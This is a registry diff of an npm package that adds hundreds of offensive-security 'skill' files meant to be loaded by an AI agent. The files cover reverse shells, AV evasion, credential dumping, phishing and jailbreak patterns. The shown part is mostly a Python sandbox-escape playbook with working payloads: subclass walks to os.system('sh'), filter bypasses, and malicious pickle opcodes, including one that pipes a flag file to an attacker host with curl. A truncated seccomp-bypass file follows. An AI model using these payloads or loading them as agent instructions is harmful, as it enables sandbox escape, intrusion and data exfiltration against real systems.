ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,349 @@
|
|
|
1
|
+
# Python Sandbox Escape (Pyjail) — Complete Methodology
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this for complete pyjail escape techniques. Covers `__builtins__` recovery via subclass walking, keyword bypass via `getattr`/`chr()`, AST-based sandbox bypass, RestrictedPython escape, exec with custom globals, file read without `open()`, pickle deserialization, and code object manipulation. Assumes [SKILL.md](./SKILL.md) is loaded for sandbox type identification.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. __builtins__ RECOVERY VIA SUBCLASS WALKING
|
|
8
|
+
|
|
9
|
+
The fundamental technique: walk Python's class hierarchy to find useful classes.
|
|
10
|
+
|
|
11
|
+
### The Chain
|
|
12
|
+
|
|
13
|
+
```python
|
|
14
|
+
# Start from any object literal
|
|
15
|
+
().__class__ # <class 'tuple'>
|
|
16
|
+
().__class__.__bases__ # (<class 'object'>,)
|
|
17
|
+
().__class__.__bases__[0] # <class 'object'>
|
|
18
|
+
().__class__.__bases__[0].__subclasses__() # ALL loaded classes
|
|
19
|
+
|
|
20
|
+
# Find useful subclass (index varies by Python version):
|
|
21
|
+
# Look for: os._wrap_close, warnings.catch_warnings, subprocess.Popen
|
|
22
|
+
# Example: find os._wrap_close
|
|
23
|
+
for i, cls in enumerate(''.__class__.__bases__[0].__subclasses__()):
|
|
24
|
+
if 'wrap_close' in str(cls):
|
|
25
|
+
print(i, cls)
|
|
26
|
+
break
|
|
27
|
+
|
|
28
|
+
# Access os.system via __init__.__globals__
|
|
29
|
+
().__class__.__bases__[0].__subclasses__()[INDEX].__init__.__globals__['system']('sh')
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
### Common Useful Subclasses
|
|
33
|
+
|
|
34
|
+
| Class | Access | Use |
|
|
35
|
+
|---|---|---|
|
|
36
|
+
| `os._wrap_close` | `.__init__.__globals__['system']` | Command execution |
|
|
37
|
+
| `warnings.catch_warnings` | `.__init__.__globals__['__builtins__']['__import__']` | Recover `__import__` |
|
|
38
|
+
| `subprocess.Popen` | Direct: `Popen(['sh'], ...)` | Command execution |
|
|
39
|
+
| `importlib._bootstrap._ModuleLock` | `.__init__.__globals__` | Access import machinery |
|
|
40
|
+
| `codecs.IncrementalDecoder` | `.__init__.__globals__` | Another globals access point |
|
|
41
|
+
|
|
42
|
+
### Alternative Starting Points
|
|
43
|
+
|
|
44
|
+
```python
|
|
45
|
+
''.__class__.__mro__[1].__subclasses__() # from string
|
|
46
|
+
[].__class__.__mro__[1].__subclasses__() # from list
|
|
47
|
+
{}.__class__.__mro__[1].__subclasses__() # from dict
|
|
48
|
+
(0).__class__.__mro__[1].__subclasses__() # from int
|
|
49
|
+
True.__class__.__mro__[1].__subclasses__() # from bool
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
---
|
|
53
|
+
|
|
54
|
+
## 2. KEYWORD BYPASS TECHNIQUES
|
|
55
|
+
|
|
56
|
+
### When import/os/system are Filtered
|
|
57
|
+
|
|
58
|
+
```python
|
|
59
|
+
# String concatenation
|
|
60
|
+
__builtins__.__dict__['__imp'+'ort__']('o'+'s').system('sh')
|
|
61
|
+
|
|
62
|
+
# getattr
|
|
63
|
+
getattr(__builtins__, '__import__')('os').system('sh')
|
|
64
|
+
getattr(getattr(__builtins__, '__impo' + 'rt__')('o' + 's'), 'system')('sh')
|
|
65
|
+
|
|
66
|
+
# chr() construction
|
|
67
|
+
eval(chr(95)*2 + chr(105) + chr(109) + chr(112) + chr(111) + chr(114) + chr(116) + chr(95)*2)
|
|
68
|
+
# Builds "__import__"
|
|
69
|
+
|
|
70
|
+
# Hex escape in string
|
|
71
|
+
eval("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f('os').system('sh')")
|
|
72
|
+
|
|
73
|
+
# Unicode escape
|
|
74
|
+
eval("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f('os')")
|
|
75
|
+
|
|
76
|
+
# Base64
|
|
77
|
+
import base64
|
|
78
|
+
eval(base64.b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ3NoJyk='))
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
### When Quotes are Filtered
|
|
82
|
+
|
|
83
|
+
```python
|
|
84
|
+
# Use chr() to build strings without quotes
|
|
85
|
+
s = chr(115) + chr(104) # "sh"
|
|
86
|
+
__import__(chr(111)+chr(115)).system(s)
|
|
87
|
+
|
|
88
|
+
# Use bytes/bytearray
|
|
89
|
+
eval(bytes([111, 115]).decode()) # "os"
|
|
90
|
+
|
|
91
|
+
# Use input() in Python 2 (reads from stdin)
|
|
92
|
+
# Use dict keys: list({1:2})[0].__class__.__name__ etc.
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
### When Dots are Filtered
|
|
96
|
+
|
|
97
|
+
```python
|
|
98
|
+
# Use getattr
|
|
99
|
+
getattr(getattr(__builtins__, '__import__')('os'), 'system')('sh')
|
|
100
|
+
|
|
101
|
+
# Use __getattribute__
|
|
102
|
+
''.__class__.__getattribute__(''.__class__, '__bases__')
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
### When Parentheses are Filtered
|
|
106
|
+
|
|
107
|
+
```python
|
|
108
|
+
# Python 2: print is a statement
|
|
109
|
+
# Python 3: decorators, class definitions, or __init_subclass__
|
|
110
|
+
@exec
|
|
111
|
+
@input
|
|
112
|
+
class X:
|
|
113
|
+
pass
|
|
114
|
+
# Prompts for input, evaluates as Python code
|
|
115
|
+
|
|
116
|
+
# Using __init_subclass__
|
|
117
|
+
class Exploit:
|
|
118
|
+
def __init_subclass__(cls, **kwargs):
|
|
119
|
+
__import__('os').system('sh')
|
|
120
|
+
|
|
121
|
+
class Trigger(Exploit):
|
|
122
|
+
pass
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
---
|
|
126
|
+
|
|
127
|
+
## 3. AST-BASED SANDBOX BYPASS
|
|
128
|
+
|
|
129
|
+
Some sandboxes parse the AST and block dangerous nodes.
|
|
130
|
+
|
|
131
|
+
### Common AST Restrictions and Bypasses
|
|
132
|
+
|
|
133
|
+
| Blocked AST Node | Bypass |
|
|
134
|
+
|---|---|
|
|
135
|
+
| `ast.Import` / `ast.ImportFrom` | Use `__import__()` call instead |
|
|
136
|
+
| `ast.Call` | Use decorators, `__init_subclass__`, or class instantiation side effects |
|
|
137
|
+
| `ast.Attribute` (dot access) | Use `getattr()` or `__getattribute__` |
|
|
138
|
+
| `ast.Subscript` (`[]`) | Use `__getitem__` method |
|
|
139
|
+
| All expressions | Use format strings: `f"{__import__('os').system('sh')}"` |
|
|
140
|
+
|
|
141
|
+
### Bypassing Call Restriction
|
|
142
|
+
|
|
143
|
+
```python
|
|
144
|
+
# If ast.Call is blocked but ast.FunctionDef is allowed:
|
|
145
|
+
class X:
|
|
146
|
+
__class_getitem__ = staticmethod(exec)
|
|
147
|
+
X['__import__("os").system("sh")'] # Subscript triggers exec
|
|
148
|
+
|
|
149
|
+
# Or via __init_subclass__
|
|
150
|
+
class Base:
|
|
151
|
+
def __init_subclass__(cls, cmd='', **kwargs):
|
|
152
|
+
__import__('os').system(cmd)
|
|
153
|
+
class Evil(Base, cmd='sh'):
|
|
154
|
+
pass
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
---
|
|
158
|
+
|
|
159
|
+
## 4. RESTRICTEDPYTHON BYPASS
|
|
160
|
+
|
|
161
|
+
RestrictedPython is used in Plone/Zope and some CTFs.
|
|
162
|
+
|
|
163
|
+
### Key Restrictions and Escapes
|
|
164
|
+
|
|
165
|
+
| Restriction | Bypass |
|
|
166
|
+
|---|---|
|
|
167
|
+
| No `_` prefix attributes | Use `getattr` with computed string |
|
|
168
|
+
| No `__import__` | Walk `__subclasses__` to find import mechanism |
|
|
169
|
+
| `_getattr_` wrapper | Find code path that doesn't go through `_getattr_` |
|
|
170
|
+
| `_getiter_` wrapper | Use `map`/`filter` instead of direct iteration |
|
|
171
|
+
|
|
172
|
+
```python
|
|
173
|
+
# RestrictedPython typically instruments attribute access with _getattr_
|
|
174
|
+
# Bypass by accessing __globals__ through method __func__
|
|
175
|
+
[x for x in ().__class__.__bases__[0].__subclasses__()
|
|
176
|
+
if 'BuiltinImporter' in str(x)][0].load_module('os').system('sh')
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
---
|
|
180
|
+
|
|
181
|
+
## 5. FILE READ WITHOUT open()
|
|
182
|
+
|
|
183
|
+
```python
|
|
184
|
+
# help() function leaks file contents
|
|
185
|
+
help.__class__.__init__.__globals__ # access globals
|
|
186
|
+
|
|
187
|
+
# license() / credits() in interactive mode
|
|
188
|
+
# They use open() internally
|
|
189
|
+
|
|
190
|
+
# pathlib
|
|
191
|
+
from pathlib import Path
|
|
192
|
+
Path('/etc/passwd').read_text()
|
|
193
|
+
|
|
194
|
+
# os module
|
|
195
|
+
import os
|
|
196
|
+
os.read(os.open('/etc/passwd', os.O_RDONLY), 1000)
|
|
197
|
+
|
|
198
|
+
# codecs
|
|
199
|
+
import codecs
|
|
200
|
+
codecs.open('/etc/passwd').read()
|
|
201
|
+
|
|
202
|
+
# URL handlers
|
|
203
|
+
import urllib.request
|
|
204
|
+
urllib.request.urlopen('file:///etc/passwd').read()
|
|
205
|
+
|
|
206
|
+
# linecache
|
|
207
|
+
import linecache
|
|
208
|
+
linecache.getlines('/etc/passwd')
|
|
209
|
+
```
|
|
210
|
+
|
|
211
|
+
---
|
|
212
|
+
|
|
213
|
+
## 6. PICKLE DESERIALIZATION ESCAPE
|
|
214
|
+
|
|
215
|
+
If the sandbox uses `pickle.loads()` on untrusted data:
|
|
216
|
+
|
|
217
|
+
```python
|
|
218
|
+
import pickle
|
|
219
|
+
import os
|
|
220
|
+
|
|
221
|
+
class Exploit(object):
|
|
222
|
+
def __reduce__(self):
|
|
223
|
+
return (os.system, ('sh',))
|
|
224
|
+
|
|
225
|
+
# Serialize
|
|
226
|
+
payload = pickle.dumps(Exploit())
|
|
227
|
+
|
|
228
|
+
# Raw pickle opcodes (no Python class needed):
|
|
229
|
+
# cos\nsystem\n(S'sh'\ntR.
|
|
230
|
+
payload = b"cos\nsystem\n(S'sh'\ntR."
|
|
231
|
+
pickle.loads(payload) # executes os.system('sh')
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
### Advanced Pickle Gadgets
|
|
235
|
+
|
|
236
|
+
```python
|
|
237
|
+
# Multi-stage: read file + send over network
|
|
238
|
+
payload = b"""(S'curl http://attacker/?flag='
|
|
239
|
+
ios
|
|
240
|
+
system
|
|
241
|
+
(S'cat /flag | curl -d @- http://attacker/'
|
|
242
|
+
tR."""
|
|
243
|
+
|
|
244
|
+
# Using __import__ in pickle:
|
|
245
|
+
# c__builtin__\n__import__\n(S'os'\ntRp0\n(S'system'\ng0\ntR
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
---
|
|
249
|
+
|
|
250
|
+
## 7. CODE OBJECT MANIPULATION
|
|
251
|
+
|
|
252
|
+
Construct a Python code object to bypass restrictions on `exec`/`eval`.
|
|
253
|
+
|
|
254
|
+
```python
|
|
255
|
+
import types
|
|
256
|
+
|
|
257
|
+
# Build code object that calls os.system
|
|
258
|
+
code = types.CodeType(
|
|
259
|
+
0, # argcount
|
|
260
|
+
0, # posonlyargcount (Python 3.8+)
|
|
261
|
+
0, # kwonlyargcount
|
|
262
|
+
2, # nlocals
|
|
263
|
+
4, # stacksize
|
|
264
|
+
0, # flags
|
|
265
|
+
b'\x97\x00...', # bytecode (platform-specific)
|
|
266
|
+
(None,), # constants
|
|
267
|
+
('__import__', 'os', 'system', 'sh'), # names
|
|
268
|
+
(), # varnames
|
|
269
|
+
'exploit', # filename
|
|
270
|
+
'exploit', # name
|
|
271
|
+
1, # firstlineno
|
|
272
|
+
b'', # lnotab
|
|
273
|
+
)
|
|
274
|
+
exec(code)
|
|
275
|
+
```
|
|
276
|
+
|
|
277
|
+
### Simpler: Compile + Modify
|
|
278
|
+
|
|
279
|
+
```python
|
|
280
|
+
# Compile allowed code, modify bytecode to do something else
|
|
281
|
+
c = compile("pass", "<x>", "exec")
|
|
282
|
+
# Replace co_code, co_consts, co_names in the code object
|
|
283
|
+
# Then exec(modified_code)
|
|
284
|
+
```
|
|
285
|
+
|
|
286
|
+
---
|
|
287
|
+
|
|
288
|
+
## 8. PYTHON 2 vs PYTHON 3 DIFFERENCES
|
|
289
|
+
|
|
290
|
+
| Aspect | Python 2 | Python 3 |
|
|
291
|
+
|---|---|---|
|
|
292
|
+
| `input()` | Evaluates expression (dangerous) | Reads string (safe) |
|
|
293
|
+
| `exec` | Statement: `exec "code"` | Function: `exec("code")` |
|
|
294
|
+
| String types | `str` (bytes) + `unicode` | `str` (unicode) + `bytes` |
|
|
295
|
+
| `file()` builtin | Exists: `file('/etc/passwd').read()` | Removed |
|
|
296
|
+
| Division | Integer division by default | Float division |
|
|
297
|
+
| `__builtins__` | Module or dict (context-dependent) | Module or dict |
|
|
298
|
+
|
|
299
|
+
---
|
|
300
|
+
|
|
301
|
+
## 9. CTF PYJAIL QUICK CHECKLIST
|
|
302
|
+
|
|
303
|
+
```
|
|
304
|
+
1. What Python version? (2 vs 3, exact minor)
|
|
305
|
+
2. What's available in __builtins__?
|
|
306
|
+
3. Is eval/exec available?
|
|
307
|
+
4. Is __import__ available?
|
|
308
|
+
5. Are underscores (_) allowed?
|
|
309
|
+
6. Are dots (.) allowed?
|
|
310
|
+
7. Are parentheses allowed?
|
|
311
|
+
8. Are quotes (' ") allowed?
|
|
312
|
+
9. Character length limit?
|
|
313
|
+
10. Newline allowed? (multi-statement)
|
|
314
|
+
11. Is output returned to you?
|
|
315
|
+
12. What modules are pre-imported?
|
|
316
|
+
13. Is the jail forking or threading?
|
|
317
|
+
14. Any AST-level restrictions?
|
|
318
|
+
15. Is pickle/marshal/shelve used anywhere?
|
|
319
|
+
```
|
|
320
|
+
|
|
321
|
+
---
|
|
322
|
+
|
|
323
|
+
## 10. DECISION TREE
|
|
324
|
+
|
|
325
|
+
```
|
|
326
|
+
Python sandbox escape
|
|
327
|
+
├── __builtins__ intact?
|
|
328
|
+
│ ├── YES → __import__('os').system('sh')
|
|
329
|
+
│ └── NO → need to recover builtins
|
|
330
|
+
├── Can access __class__/__bases__/__subclasses__?
|
|
331
|
+
│ ├── YES → subclass walk to find os/subprocess
|
|
332
|
+
│ └── NO (underscores blocked)
|
|
333
|
+
│ ├── getattr available? → getattr((), chr(95)*2 + 'class' + chr(95)*2)
|
|
334
|
+
│ └── Everything blocked? → try decorators, f-strings, code objects
|
|
335
|
+
├── Keywords filtered?
|
|
336
|
+
│ ├── String concat: 'im'+'port'
|
|
337
|
+
│ ├── chr(): chr(105)+chr(109)+...
|
|
338
|
+
│ ├── Hex: "\x69\x6d\x70\x6f\x72\x74"
|
|
339
|
+
│ └── getattr + computed string
|
|
340
|
+
├── eval/exec available?
|
|
341
|
+
│ ├── YES → construct payload string + eval/exec
|
|
342
|
+
│ └── NO → class tricks (__init_subclass__, __class_getitem__)
|
|
343
|
+
├── Pickle/marshal in scope?
|
|
344
|
+
│ └── YES → craft malicious pickle → os.system via __reduce__
|
|
345
|
+
└── Need file read only (no exec)?
|
|
346
|
+
├── pathlib.Path.read_text()
|
|
347
|
+
├── os.read(os.open(...))
|
|
348
|
+
└── linecache.getlines()
|
|
349
|
+
```
|
|
@@ -0,0 +1,332 @@
|
|
|
1
|
+
# Seccomp Bypass — Architecture Confusion, io_uring, Allowed Syscall Chaining
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this for seccomp filter bypass techniques. Covers architecture confusion (x86_64/x86 syscall number mismatch), io_uring bypass, ptrace-based bypass, allowed syscall chaining for ORW, namespace escape, and return value manipulation. Assumes [SKILL.md](./SKILL.md) is loaded for sandbox type identification.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. SECCOMP FUNDAMENTALS
|
|
8
|
+
|
|
9
|
+
### Seccomp Modes
|
|
10
|
+
|
|
11
